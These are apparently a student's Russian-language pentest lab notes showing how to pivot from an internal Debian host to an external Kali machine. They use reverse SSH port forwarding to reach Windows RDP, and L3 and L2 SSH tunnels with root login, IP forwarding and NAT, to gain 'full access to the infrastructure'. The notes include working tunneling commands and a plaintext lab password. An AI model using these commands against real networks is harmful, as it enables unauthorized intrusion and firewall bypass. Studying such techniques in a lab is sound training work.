---
# System prepended metadata

title: Практика №4. Revers Shells & Reverse SSH connections

---

# Практика №4. Revers Shells & Reverse SSH connections

## 1) SSH port forwarding / reverse ssh connect


Для начала надо разрешить удалённый доступ к Win 10 и настроить Debian Внутри системы. 

Настройка Debian: файл /etc/network/interfaces
![image](https://hackmd.io/_uploads/rkloEAuZ0.png)


На внешней kali linux надо включить ssh. 
> sudo service ssh start

Для проверки корректности работы можно подключиться с debian на kali с помощью команды ssh user@<kali_ip>.

Для SSH port forwarding надо воспользоваться реверсивным коннектом. 
Команда: 
> ssh -R <порт который вешаем на kali - то есть порт, по которому мы с кали будем подключаться к винде и по итогу подключение будет к кали по этому порту>:<ip такой, чтобы при подключении от kali было подключение по этому ip. А нам надо подключиться к винде - значит тут должен быть ip wind’ы - или же localhost>: <порт, по которому будет проходить подключение к винде - то есть порт винды>

Пример:

> ssh -R 3395:localhost:3389 user@\<kali ip\>
    
Для проверки можно написать 
> ss -tunlp 
Должно быть видно 127.0.0.1::3395. Это тот самый прокинутый порт.

К нему можно подключиться с kali, выполнив команду 
> xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3395
> 
> где user - имя пользователя на win10 

Ещё один способ - прокинуть подключение на другую машинку.
Например: есть Debian и win в одной сети. Есть возможность с debian реверсивно подключиться к внешней kali и указать подключение на win машинку.
Как сделать: В debian:
> ssh -R 3395:<ip винды>:3389 user@\<kali ip\>
> xfreerdp /u:user /p:eve@123 /v:127.0.0.1:3395 

Также можно воспользоватсься meterpeter.

## 2) ssh tunneling L3

Для туннелирования надо настроить маршрутизацию трафика.

В kali:
> sudo nano /etc/ssh/sshd_config 
> Добавить строчки:
> PermitRootLogin yes 
> PermitTunnel yes

После чего перезапустить ssh 
> sudo service ssh restart

Далее надо поменять логин для root пользователя:

> sudo passwd root
> \*задать пароль 2 раза\*

Для проверки можно попробовать зайти по ssh через пользователя root.
> root@debian: ssh root@\<ip kali\>

Далее на Debian надо настроить туннелирование командой:

ssh -w 0:0 root@\<kali ip\>

После этого на kali и debian должен появиться новый интерфейс. Его надо включить командой 
> ip link set tun0 up

Также на Kali и Debian надо задать статические ip адреса.

> kali@kali: ip addr add 10.8.0.1/24 dev tun0
> deb@deb:   ip addr add 10.8.0.2/24 dev tun0

Для проверки можно пингануть оба устройства.

Однако внешняя kali не может пинговать устройства внутри инфраструктуры кроме debian. Для этого надо сделать маршрутизацию между tun0 и ens3

Debian:
> nano /etc/sysctl.conf
> раскомментировать строчку …ip_forward = 1
> сохранить, выйти, написать sysctl -p
 
Kali:
> ip route add 192.168.1.0/24(сеть в которой находится debian) via 10.8.0.2 

Также надо настроить NAT. 
Debian: 
> iptables -t nat -A POSTROUTING -o ens3 -j MASQUERADE

Доступ получен. Возможности:

> подцепиться к firewall LAN и управлять им изнутри (192.168.1.1), 
> подключиться к любому устройству в инфраструктуре (уже напрямую используя команду xfreerdp не с localhost, А с ip компа)
 
## 3) ssh tunneling L2

Нужна новая схема инфраструктуры.
![image](https://hackmd.io/_uploads/SyJ7GAu-R.png)

Реализация туннелирования:

На Debian:
> apt update 
> apt install bridge-utils
> sudo nano /etc/networking/interfaces

![image](https://hackmd.io/_uploads/HypSfROZ0.png)

> service networking restart

После этого ip должен отображаться в br0 интерфейсе. 

Для проверки bridge можно попробовать воспользоваться ping 8.8.8.8 с устройства внутри инфраструктуры.

Далее надо настроить ssh на Kali:
- sudo nano /etc/ssh/sshd_config 
Добавить следующее:
> PermitRootLogin yes 
> PermitTunnel yes

Перезапустить ssh: 

> sudo service ssh restart

Далее надо поменять логин для root пользователя:

> sudo passwd root
> \*задать пароль 2 раза\*

Kali настроена. Далее надо подключиться к kali от debian - создать тоннель. 

> ssh root@\<kali ip\> -o Tunnel=ethernet -w any:any 

После этого на Kali и Debian появится интерфейс tap*

На Debian его надо добавить в созданный ранее bridge.
![image](https://hackmd.io/_uploads/SyJOmRubR.png)

После чего поднять интерфейсы на Kali и Debian:
> ip link set dev tap0 up 

Тоннель создан. 
> Можно с помощью команды tcpdump -i tap0 посмотреть, что происходит (вводить на кали)
> Можно получить адрес по dhcp: dhclient tap0 (вводить на kali)

Таким образом мы получили полный доступ до инфраструктуры - так, будто мы находимся внутри инфраструктуры.
